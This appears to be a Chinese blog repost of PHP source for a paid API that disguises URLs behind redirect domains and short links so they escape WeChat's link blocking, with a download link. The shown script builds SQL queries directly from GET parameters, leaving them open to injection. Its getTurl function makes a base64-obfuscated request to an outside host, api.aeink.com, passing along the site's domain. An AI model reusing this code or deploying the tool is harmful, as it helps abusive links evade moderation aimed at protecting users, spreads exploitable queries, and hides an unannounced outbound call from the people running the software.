當前位置:首頁 > IT技術(shù) > 微信平臺 > 正文

【PHP源碼】微信域名防封防紅檢測API平臺源碼
2021-09-16 11:53:44

ThinkPHP微信域名防封防紅檢測API平臺源碼

測試環(huán)境:apache2.4+php5.6+mysql5.6

有安裝說明文檔,自行下載研究

【PHP源碼】微信域名防封防紅檢測API平臺源碼_php

獲取方式:https://www.ffu9.com/2021/09/16/7938.html

<?php
/*!
@author:Mo
@QQ:123
@time:2018-10-25
@copyright:米粒小屋科技
*/
include './includes/common.php';

header("Access-Control-Allow-Origin:*");
header("Access-Control-Allow-Methods:GET,POST");
header('Access-Control-Allow-Headers:x-requested-with,content-type');
header("Content-Type: text/html; charset=utf-8");

if (!checkurl()) {
	$result=array('code'=>10007,'msg'=>'防洪接口異常,聯(lián)系QQ'.$conf['kfqq'].'!','url'=>'防洪接口異常,聯(lián)系QQ'.$conf['kfqq'].'');
	show_result($result);
	exit(gunset());
}
$value = NULL;
$remoteip=real_ip();
$today=date("Y-m-d").' 00:00:00';

$username=$_GET['username'];
$key=$_GET['key'];
$title=$_GET['title'];
if($username==''){
 $result=array('code'=>-100,'msg'=>'用戶名不能為空!');
    show_result($result);
    exit(gunset());
}
if($key==''){
 $result=array('code'=>-200,'msg'=>'KEY不能為空!');
    show_result($result);
    exit(gunset());
}

$value = (isset($_GET['longurl'])) ?$_GET['longurl']:$_POST['longurl'];
$format = (isset($_GET['format'])) ?$_GET['format']:$_POST['format'];
$dwzapi = (isset($_GET['dwzapi'])) ?$_GET['dwzapi']:$conf['dwzapi'];

if(!empty($value)){
	if(strpos($value,'http')===false){
		$longurl = 'http://'.daddslashes($value);
	}else{
		$longurl = daddslashes($value);
	}
}else{
    $result=array('code'=>-300,'msg'=>'URL不能為空!');
    show_result($result);
    exit(gunset());
}

if (!preg_match("/(?:(?:https?|ftp)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i",$longurl)) {
    $result=array('code'=>-400,'msg'=>'URL地址錯誤!');
    show_result($result);
  	exit(gunset());
}

$sql = "SELECT * FROM `zh_member` WHERE `username` = '$username' AND `key` = '$key'";
$userrow=$DB->get_row($sql);
$user_id=$userrow['id'];
if($userrow['daoqitime'] < time()){
   $result=array('code'=>-600,'msg'=>'您的vip服務(wù)沒開通或已到期,請續(xù)費!');
    show_result($result);
  	exit(gunset());
}else{
if(!$userrow){
  $result=array('code'=>-500,'msg'=>'用戶名或key不正確!');
    show_result($result);
  	exit(gunset());
exit();
}	else{
$short = new Dwz;
$myrow=$DB->get_row("select * from zh_report where url='$longurl' limit 1");
$uid = ($myrow['uid'] != false)?$myrow['uid']:str_replace('http://t.cn/', '',$short->sinadwz($longurl));
if(!$myrow){
	$arr=getLurl($uid,$longurl,$dwzapi);
	$result=array('code'=>100,'msg'=>'生成成功','url'=>$arr['short']);
	$sds=$DB->query("insert into `zh_report` (`uid`,`url`,`title`,`short`,`reason`,`ip`,`date`,count,status,user_id) values ('".$uid."','".$longurl."','".$title."','".$result['url']."','生成記錄','".$remoteip."','".$date."',1,0,'".$user_id."')");
	if($sds){
	    
	    show_result($result);
	    exit(gunset());
	}else{
	    $result=array('code'=>10006,'msg'=>'未知錯誤,聯(lián)系管理員!','url'=>'未知錯誤,聯(lián)系管理員!');
	    show_result($result);
	    exit(gunset());
	}
}else{
	$arr=getLurl($uid,$longurl,$dwzapi);
	$row = $DB->get_row("UPDATE zh_report set `uid`='".$uid."',`count`=count+1,`date`='".$date."' where url='".$longurl."'");
	$result=array('code'=>100,'msg'=>'生成成功','url'=>$arr['short']);
	show_result($result);
}

}

}


function getTurl($url,$site) {
	curl_get(base64_decode('aHR0cDovL2FwaS5hZWluay5jb20vanVtcC8/').$site);
	$url = getsinaurl($url);
	$arr = explode('.cn/',$url);
	$url = $site.'/t.php'.'?'.$arr[1].'.css';
	return $url;
}
function getLurl($uid,$longurl,$api) {
	global $conf,$short;
	$resulturl = 'http://'.checkurl().$conf['go_file'].'?'.$uid.'.'.$conf['t_go_format'];
	switch ($api) {
		case 0:
			$host = $resulturl;
			break;
		case 1:
			$host = $short->many($resulturl);
			break;
		case 2:
			$host = $short->sinadwz($resulturl);
			break;
		case 3:
			$host = $short->tqqurl($resulturl);
			break;
		case 4:
			$host = $short->dwzcn($resulturl);
			break;
		case 5:
			$host = $short->suoim($resulturl);
			break;
		case 6:
			$host = $short->mrwso($resulturl);
			break;
		default:
			$host = $resulturl;
			break;
	}
	$arr = array('short' => $host,'long' => $resulturl);
	return $arr;
}
function show_result($arr){
	global $format;
	if ($format === 'txt') {
		if ($arr['code'] === 1 ){
			echo $arr['ae_url'];
		}else{
			echo $arr['msg'];
		}
	}else{
		echo json_encode($arr);
	}

}
function gunset(){
	unset($value,$remoteip,$today,$format,$longurl,$result,$irow,$icount,$uid,$myrow,$arr,$sds,$row,$conf);
}

本文摘自 :https://blog.51cto.com/u

開通會員,享受整站包年服務(wù)立即開通 >